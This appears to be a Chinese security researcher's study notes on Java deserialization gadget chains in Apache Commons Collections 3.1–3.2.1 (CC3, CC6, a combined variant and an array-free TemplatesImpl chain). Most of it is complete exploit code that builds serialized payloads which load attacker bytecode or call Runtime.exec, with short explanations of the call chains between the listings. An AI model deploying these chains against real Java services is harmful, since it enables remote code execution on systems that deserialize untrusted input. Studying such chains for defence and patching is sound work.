cc链学习记录2

CommonsCollections3

Apache Commons Collections 是一个扩展了 Java 标准库里的 Collection 结构的第三方基础库,它提供了很多强有力的数据结构类型并实现了各种集合工具类。作为 Apache 开源项目的重要组件,被广泛运用于各种 Java 应用的开发。

调用链

AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
TemplatesImpl.newTransformer()

依赖版本

commons-collections : 3.1~3.2.1

jdk 8u71以下

cc3 为了避免使用InvokerTransformer寻找了一个新类去调用 newTransformer()

com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter 这个类的构造函数中

image-20211214141445074

TrAXFilter 在实例化时接收 Templates 对象,并调用其 newTransformer 方法,这就可以触发我们的 TemplatesImpl 的攻击 payload 了

TemplatesImpl的构造链是java自带的一个类他可以调用defineClass方法去加载任意字节码并且在getTransletInstance() 方法中使用 newInstance() 实例化,这样就可以调用字节码中的构造函数或静态代码块。

但是这个类对于加载的类有要求,要求其父类为com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet这点很重要,一定要记得设置父类。

那么现在就需要再找一个类去触发TrAXFilter 的构造函数,这里用到了Transformer:InstantiateTransformer,他可以通过反射去创建类示例并触发其构造函数,然后再用cc1的前半段去让整个链子串起来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
InputStream inputStream = Test.class.getResourceAsStream("Evil.class");
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);

// 初始化 TemplatesImpl 对象
TemplatesImpl tmpl = new TemplatesImpl();
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(tmpl, new byte[][]{bytes});
Field clasa = TemplatesImpl.class.getDeclaredField("_class");
clasa.setAccessible(true);
clasa.set(tmpl, null);
// _name 不能为空
Field name = TemplatesImpl.class.getDeclaredField("_name");
name.setAccessible(true);
name.set(tmpl, "Pupi1");

//TrAXFilter tra = new TrAXFilter(tmpl);
// 结合 ChainedTransformer
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tmpl})
});

// 初始化 LazyMap
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);

// 创建携带着 LazyMap 的 AnnotationInvocationHandler 实例
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, lazyMap);
// 创建LazyMap的动态代理类实例
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);

// 使用动态代理初始化 AnnotationInvocationHandler
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, mapProxy);

String s = Tools.base64Encode(Tools.serialize(invocationHandler));
System.out.println(s);
Tools.deserialize(Tools.base64Decode(s));

这里因为也使用了cc1的前端,所以受AnnotationInvocationHandler这个类改动的影响

那么是否存在一个方法可以代替这个类扩宽我们的攻击面呢,所以就出现了cc6这条链子

CommonsCollections6

调用链

Gadget chain:

java.io.ObjectInputStream.readObject()

java.util.HashMap.readObject()

java.util.HashMap.hash()

org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()

org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()

org.apache.commons.collections.map.LazyMap.get()

org.apache.commons.collections.functors.ChainedTransformer.transform()

org.apache.commons.collections.functors.InvokerTransformer.transform()

java.lang.reflect.Method.invoke()

java.lang.Runtime.exec()

基本可以通杀jdk7,8

其实要解决高版本的问题也就是要找到其他他调用LazyMap#get() 的地方

这里大师傅们找到了类 org.apache.commons.collections.keyvalue.TiedMapEntry 在其getValue方法

中调用了 this.map.get ,其hashCode调用了getValue方法

image-20211214144120477

通过这里就可以去触发lazymap的get方法,所以现在就找那里可以触发TiedMapEntry#hashCode,这里是发现的在 java.util.HashMap#readObject 中可以触发hashCode

image-20211214144621368

这里传入key对象,就可以触发key的hashCode方法

image-20211214144716610

在ysoserial中是利⽤ java.util.HashSet#readObject 到 HashMap#put() 到 HashMap#hash(key)

最后到 TiedMapEntry#hashCode() 。我这里跟进p神的简化链直接编写exp了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Transformer[] chain = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Map innerMap = new HashMap();
//避免在序列化时触发payload
Transformer[] fakeTransformers = new Transformer[] {new
ConstantTransformer(1)};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
//先放入假的Chain
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
//删除假Chain生成的key
outerMap.clear();
//放入恶意payload
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, chain);
String s = Tools.base64Encode(Tools.serialize(expMap));
Tools.deserialize(Tools.base64Decode(s));

这里cc6的利用链也完成了

然后自己根据cc6去改了下cc3让他可以通杀java7,8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
InputStream inputStream = Test.class.getResourceAsStream("Evil.class");
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);

// 初始化 TemplatesImpl 对象
TemplatesImpl tmpl = new TemplatesImpl();
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(tmpl, new byte[][]{bytes});
Field clasa = TemplatesImpl.class.getDeclaredField("_class");
clasa.setAccessible(true);
clasa.set(tmpl, null);
// _name 不能为空
Field name = TemplatesImpl.class.getDeclaredField("_name");
name.setAccessible(true);
name.set(tmpl, "Pupi1");
// 结合 ChainedTransformer
Transformer[] chain = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tmpl})
};

// 初始化 LazyMap

Transformer[] fakeTransformers = new Transformer[] {new
ConstantTransformer(1)};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
//先放入假的Chain
Map outerMap = LazyMap.decorate(new HashMap(), transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
//删除假Chain生成的key
outerMap.clear();
//放入恶意payload
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, chain);
String s = Tools.base64Encode(Tools.serialize(expMap));
Tools.deserialize(Tools.base64Decode(s));

无数组构造

在有次比赛中有提到无数组的反序列化链构造,这也是因为有tomcat内部对类处理有问题所以延伸出的问题。

我们的payload都有用到 Transformer数组,这里可以是过不了的,所以我们这里通过 TemplatesImpl 去构造不含数组的exp

主要的知识点也就是

image-20211214165544053

这里key会直接进入transform的参数中这样我们就不需要在

image-20211214165733423

这里面的第一句,只用第2句调用方法,这样也就不需要数组的形式了。然后这里的key也就是我们在这传入的key

image-20211214165945271

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
InputStream inputStream = Test.class.getResourceAsStream("Evil.class");
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);

// 初始化 TemplatesImpl 对象
TemplatesImpl tmpl = new TemplatesImpl();
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(tmpl, new byte[][]{bytes});
Field clasa = TemplatesImpl.class.getDeclaredField("_class");
clasa.setAccessible(true);
clasa.set(tmpl, null);
// _name 不能为空
Field name = TemplatesImpl.class.getDeclaredField("_name");
name.setAccessible(true);
name.set(tmpl, "Pupi1");
Transformer chain = new InvokerTransformer("getClass", null, null);


//先放入假的Chain
Map outerMap = LazyMap.decorate(new HashMap(), chain);
TiedMapEntry tme = new TiedMapEntry(outerMap, tmpl);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
//删除假Chain生成的key
outerMap.clear();
//放入恶意payload
Field f = InvokerTransformer.class.getDeclaredField("iMethodName");
f.setAccessible(true);
f.set(chain, "newTransformer");
String s = Tools.base64Encode(Tools.serialize(expMap));
Tools.deserialize(Tools.base64Decode(s));

参考链接

java安全漫谈

https://su18.org/post/ysoserial-su18-2/